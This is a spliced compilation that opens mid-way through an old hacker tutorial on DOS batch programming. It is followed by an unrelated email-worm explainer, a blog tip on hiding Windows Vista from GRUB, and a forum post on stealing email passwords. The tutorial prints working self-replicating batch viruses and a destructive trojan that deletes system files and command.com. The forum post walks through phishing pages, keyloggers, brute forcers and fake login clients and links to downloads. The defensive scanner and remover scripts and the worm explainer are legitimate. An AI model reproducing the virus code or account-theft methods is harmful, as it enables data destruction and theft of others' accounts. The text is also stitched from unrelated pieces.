for %%f in (*.bat) do copy %%f + virus.bat - this puts the virus in all batch files in the current directory.
ctty con - re-enables the keyboard and the screen display.

Hope fully you understood all that and you are ready to go onto something more advanced.



Part 5: Advanced programming

OK here is the technical stuff. Variables! We set variables so that we can identify stuff. E.g.

set virus=*.bat

That command means that I can now say virus instead of *.bat. Meaning I can now say infect virus, instead of saying infect *.bat. May seem pointless but in the context that variables are used in it can be very powerful. Below is a virus that uses variables to infect: -

@ctty nul.LR
for %%a in (*.bat) do set LR=%%a
find "LR"<%LR% if errorlevel 1 find "LR<%0>>%LR%
ctty con.LR

This virus uses the variable LR to identify the batch file to infect. Now I will try to explain what this virus is doing in the simplest terms I can, ok you ready? Right this virus will disable the keyboard then search through all the batch filz until it reaches the last one, then it sets the variable LR to the last batch file found, ok so far so good. So now we have a variable assigned to a file. Then it searches through the file for the Key string (variable) LR and if it has it in there it wont infect it again but if it doesn't it will goto the next line. This is where the infection takes place. The virus finds the key string which you should have now guessed is LR which is on every line of the virus and then it finds the letters LR from %0 which is the current file normally the virus, and then gets all the lines with LR on them and inserts them into the file that the variable was assigned to earlier. Finally the virus then enable the keyboard for the user. Badly explained I know but try it out and put a few pause marks in the file and watch what it does! Suprisingly simple. This program is covered more clearly in my article about batch file viruses.



Part 6: Programs made in batch

I have not made that many programs in batch but use your imagination and you can. For example I earlier showed you the password file, I have also made a batch file virus remover, but what I haven't made is a virus detector. My friend at my college gave me the challenge to make a batch file that detects viruses or destructive commands so me and my big mouth took him up on the idea and came up with a lame program. Searches memory for popular memory resident viruses on a small scale, this could be enlarged to any number of viruses!

@echo off
echo [1] Stoned virus
echo [2] Aircop virus
choice /c:12
if errorlevel 2 goto aircop
:stoned
mem /c|find /i "stoned!" >nul
if errorlevel 1 goto no_virus
:virus
echo Sorry to inform you but you are infected with the stoned virus!
goto done
:no_virus
echo Congratulations man you are clean
:aircop
mem /c|find /i "Aircop" >nul
if error level 1 goto no_virus2
:virus
echo You have the Aircop virus.....Unlucky!
goto done
:no_virus2
echo You lucky son of a bitch no virus found!
:done

Very lame technique but if used on a larger scale it works really well and it tells you how much system resources the virus has taken up as well!

Alrighty then on to the real challenge, searching for destructive commands within BAT, COM, and EXE files. I did not make this program!! But phuck me it works!

@echo off
if '%2=='Loop goto loop
echo *** ANSI/BATCH SCANNER ***
set mask=%1 %2 %3 %4 %5 %6 %7 %8 %9
if '%mask%==' set mask=*.*
for %%f in (%mask%) do call %0 %%f Loop
goto done
:loop
if not exist %1 goto done
set line=
:: escape and tab characters
set esc=
set tab=
find "%esc%["<%1>nul
if not errorlevel 1 set line=%line%EscSeq
find /i "$e["<%1>nul
if not errorlevel 1 set line=%line%PromptSeq
find ";13p"<%1>nul
if not errorlevel 1 set line=%line%KeyRedef
if '%line%==' goto checkbad
find """p"<%1>nul
if not errorlevel 1 set line=%line%Key2
set hit=0
find "0p"<%1>nul
if not errorlevel 1 set hit=1
find "1p"<%1>nul
if not errorlevel 1 set hit=1
find "2p"<%1>nul
if not errorlevel 1 set hit=1
find "4p"<%1>nul
if not errorlevel 1 set hit=1
find "5p"<%1>nul
if not errorlevel 1 set hit=1
find "6p"<%1>nul
if not errorlevel 1 set hit=1
find "7p"<%1>nul
if not errorlevel 1 set hit=1
find "8p"<%1>nul
if not errorlevel 1 set hit=1
find "9p"<%1>nul
if not errorlevel 1 set hit=1
if %hit%==1 set line=%line%Key3
:checkbad
find /i "DEL "<%1>nul
if not errorlevel 1 set line=%line%Del
find /i "DELTREE"<%1>nul
if not errorlevel 1 set line=%line%Deltree
find /i "DEBUG"<%1>nul
if not errorlevel 1 set line=%line%Debug
find /i "ATTRIB "<%1>nul
if not errorlevel 1 set line=%line%Attrib
find /i "FORMAT C:"<%1>nul
if not errorlevel 1 set line=%line%Format
find /i "*.BAT"<%1>nul
if not errorlevel 1 set line=%line%BAT
find /i "*.EXE"<%1>nul
if not errorlevel 1 set line=%line%EXE
find /i "*.COM"<%1>nul
if not errorlevel 1 set line=%line%COM
echo %1 %tab%%line%
:done
set mask=
set line=
set hit=
set esc=
set tab=



Part 7: Viral writing groups

There are plenty of virus writing groups around but they all seem to be in it for fame? People that inspired me where Dark Avenger - who could program any batch file to do any thing!! Hellraiser - who hates Bill gates, but at the same time has some really good ideas, and Lucifer Messiha - who really put the v into virus. These guys dont write anymore but if they did then the viral comunity would be bowing down to them. Viral writing groups are to competetive, they are good at what they do but seem to be complete idiotic adolescents. The time i joined a writing group i thought, oh yeah im good but the reality of it was that i was not writing viruses for fun but i was writing viruses to compete. If you get to the stage that you can program a virus and you want to join a viral group then just remember the fun side of it, do it for yourself. I dont know if you've every heard of Rock Steady, but he wrote loads of viruses (destructive ones) and gave them to John mcaffee pretending he was a victim of this virus. This would then get the virus noticed and the anti virus program makes his virus well known, but at the same time it can be cured. Whta i mean is once you send in a virus the next anti-virus John brings out with have info on Rock Steadys virus. Is it worth it? He is a glory creator! By the way he turns out to be only 15 years old!!! Thats pritty much it on virus writing groups, lets now move on and go to ethics and moral matters concerning viruses.



Part 8: Ethics & morality

OK here is why i am always screwing at people about destructive viruses and trojans. Imagine yourself saving up a whole load of cash, and then buying a new software package. But to your dismay some little **** puts a destructive program on the package and it wipes your whole disk!!! Now if your hard drive contained the amount of valuable data that mine does, i tell ya you'll be pissed! imagine a whole years work from college on it being deleted! See my point. Most people that do make these programs are beginners trying to show off there power, more often than not they are lamerz! Any one can make a program to del all files (erase *), simple stuff. Now the only time destruction pops into my mind is if i get expelled from college or sacked from work i might be tempted to leave a logic bomb on a pc that went off on my bosses birthday or something. But never for nothing, its just not worth it. Alright thats enough of me blabbing on read the rest of this document and enjoy!



Part 9: Trojan story and programming Trojans

It all started off years ago, when two tribes went to war, one tribe lost. This tribe how ever never gave up, they sent a big wooden horse (trojan horse) as a token of there defeat, so when the winning tribe opened there gates and took in the horse the lost tribe jumped out from a secret hatch in the horse and defeated the tribe, thus winning in the end. They only won from concealment.

Now trojans are destructive programs that are made to look like they do good. Now programming trojans is easy but fooling the user takes the mind of a genius. This is how i would do it. I would make a trojan called setup.bat then i would make ten text filz and rename tham all to .DAT filz and pretend the package is a game. Once they run the setup.bat....BOOM trojan loaded and say goodbye. Programming trojans is easy, but getting caught is even easier. You have to make a trojan that can not only destroy filz but also destroy all traces of itself. Here is my program of how i would do it.
@echo off cd\ if exist c:\windows goto winslows if exist c:\dos goto do$ :poof erase * goto end_trojan :winblows cd\windows if exist system.ini del system.ini if exist win.ini erase win.ini ren *.exe *.vxe ren *.dat *.cat ren *.sys *.sex goto end_trojan :do$ cd\dos ren *.com *.kom ren *.exe *.com ren *.kom *.exe if exist c:\command.com erase c:\command.com :end_trojan erase trojan.bat

Extreme basics, but i tell you this would mess up your Windows system for good and Dos would have to be re-installed. Trojans are easy though, so stick to viruses and have PHUN! :)



Part 10: Endless loops for fun?

This bit is lame but what the hey this document is aimed at the lame.(no offence). Here are some simple programs which just loop:-

:loop
dir /s
goto loop

The above displays all the filz on the hard drive and dont stop!

:loop
echo Hello world my name is loopy loo!
goto loop

This one will make the text scroll down the page

@echo off
:poo
cls
echo Loopy loo needs a poo!
pause bell^G^G^G
goto poo

That one beeps in the pc and displays the text.

ok that should be enough. Read the last bit and then goto bed!



Part 11: BFV removal

These batch viruses work by adding code to the beginning and/or the end of the infected BAT files. The extra code can be removed by loading the infected batch into EDIT and deleting the additional lines. Some will create a hidden copy of themselves in the root (or other directory), use ATTRIB filename -s -r -h followed by DEL filename, filename being the actual name of the virus file. The command DIR /AH /S will show all hidden files on a drive.

Here is the code for a batch file virus remover:

@echo off
if '%1=='%temp% goto remove
echo BFV-remover version 1.0
echo =======================
echo ÿ
:start
echo ************** Batch File Virus Remover ****************
echo This will remove any batch file virus if used correctly.
echo BFV-remover will destroy batch files if they do not have
echo a virus!!! So please read the instructions first.
echo Made by l33 Rumbl3
echo ÿ
set ks=%1
set is=%2
if '%ks%==' goto exit
if '%is%==' set is=%ks%
if '%temp%==' set temp=C:\
echo Will remove %ks% from files containing %is%. Proceed?
choice /c:yn>nul
if errorlevel 2 goto exit
for %%v in (*.bat) do call %0 %temp% %%v
if exist rem$$_ del rem$$_
goto exit
:remove
find "%is%"<%2>nul
if errorlevel 1 goto done
echo Found in %2 - remove?
choice /c:yn>nul
if errorlevel 2 goto done
find /v "%ks%">%2>rem$$_
copy rem$$_ %2>nul
goto done
:exit
set is=
set ks=
:done

This program removes viruses that have a unique key, such as the pot virus and the zep virus, although both these viruses do no harm they still are a threat to your data. The major advantage about this program is that it will abstract the virus from the file so that you do not have to delete the file.

This is for batch file viruses only!! It does not work on COM or EXE files!!

Warning! If key is not unique this will destroy files!

Usage:

CLEANBAT Key1 [Key2]

...where Key1 is the UNIQUE signature used by the virus and Key2 is an identifying string. If not specified then Key2 is set to Key1

eg. to kill the skul virus goto DOS and:

type: clean skul

..and that is it, easy, look in your batch files and see if you have any thing out of the ordinary such as the words infect/vir/a certain date.

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What's a worm?

A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.


How do they spread?

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you'll activate the worm, but in some versions of Microsoft Outlook, you don't even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it's activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program's address book and web pages you've recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn't even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.

What do they do?

Most of the damage that worms do is the result of the traffic they create when they're spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren't cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO's proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.

How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren't expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker's website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don't affect computers that run Macintosh or Linux operating systems.

i moved on to Ubuntu.

Why? Cause, i have started loving Linux, after working with Fedora. It feels great to have full control using the terminal. Now, my dad insists to have Vista too, so that my transition from Windows to Linux is smooth. I believe I have already shifted to Ubuntu, cause rarely do I login to Vista.

Now all this is on my laptop that I will be taking with me to my college. I have so many friends, who will consider that I am being rude if I don’t let the use the laptop for watching movies or playing games. (I am using my laptop for coding and web design, sometimes for songs, but no games! at least for now). So how do I do that? Well, most of my friends are bad at Linux, so I don’t need to worry about that, but still I have Vista and that shall be a problem.

I found a solution for this myself: Remove Vista Option from the boot loader! You might be thinking, then how do you access Vista!

That’s exactly what I am going to tell now.

To remove/edit the menu options, you need to edit this file.

/boot/grub/menu.lst

Before that make a backup file using the following command.

sudo cp /boot/grub/menu.lst /boot/grub/menu.lst.backup

Open your terminal. Type

sudo gedit /boot/grub/menu.lst

This should open the menu file. Scroll down and find something similar to this.

title Windows Vista Home Premium
root (hd0,0)
savedefault
makeactive
chainloader +1

It might vary depending on what you have installed and where you have installed. Comment them by adding a ‘#’ without quotes in front of each line. (Deleting them won’t be a good idea).

Save the file and try restarting. You won’t find the Vista option now!

Hey! now what do I do to boot Vista?

It’s simple. When the OS selection menu appears, press ‘c’ to enter the command line interface.

Type the following commands one by one.

root (hd0,0)
makeactive
chainloader +1

Note: Replace (hd0,0) with what was mentioned in the menu.lst file corresponding to Vista.

Finally type the command boot, and lo, Vista loads.

Now, that’s a geeky way. Provides access only to me and none else. One look and everyone thinks that only Ubuntu is installed, but peep a little more and hey! there is Vista too!.

Disclaimer: Helpful only if your friends are vista noobs and don’t know this alternative.

Hope that was helpful.

So many people have asked that question,and honestly its a dumb one.But its our job,to help you,so i made this thread.
There are many ways to hack an email:

Phishing
Phishing is a way of saying keylogger but in an other meaning.Let’s say you want to create a hotmail phishing page.The page should look
exactly like the real one.
How does it work:
You can download/make a replica of the website you want to phish.And save is as HTML.When you’re done with that,you have to find a way
to upload the HTML.Best way is a Website.Like Piczo/Blogspot.When thats done the user types his/hers username and password.And automatically
it will be sent to you by mail.And there you have it,that’s Phishing.
Here Are Some Tutorials That Help:
http://www.hackforums.net/showthread.php?tid=15895
http://www.hackforums.net/showthread.php?tid=14154
http://www.hackforums.net/showthread.php?tid=12583
http://www.hackforums.net/showthread.php?tid=12468

Brute Forcing
Brute Forcing is like guessing the password , but instead you make/download a password list[a long txt file containing words that might be
the password] ad the Brute Forcer tries them all
Download your Msn Brute Forcer Here:
http://www.speedyshare.com/228815220.html [may find a trojan inside but that's normal]
Download Password Lists here:
http://www.hackforums.net/showthread.php?tid=15562

Keyloggers
Keyloggers is like phishing but is more simple.Its a simple .exe executable.When someone clicks it,the Keylogger auto downloads.And you’ll
have ,on your computer,you start it,and put in the ip of the destination,and every hour you’ll receive keys pressed on his computer
thats an easy way to find out msn passwords
Here are some tutorials:
http://www.hackforums.net/showthread.php?tid=15003
http://www.hackforums.net/showthread.php?tid=10365

Fake Msn
Fake msn is just a replica of Msn Messenger.Let some of your friends come over.And open up the fake msn.Let them type in ther
msn hotmail,and their password.Then they will get a troubleshoot , and their username/password will be saved in a .txt file in C:\
Download here:
http://www.savefile.com/files/1357897

Guessing The Secret Question
If you know your friends,this will be an easy task.Go to http://www.hotmail.com and click forgot password,then put in the email address
and then the CATCHA code,reply on the secret question,but beware because you have like 3 tries only.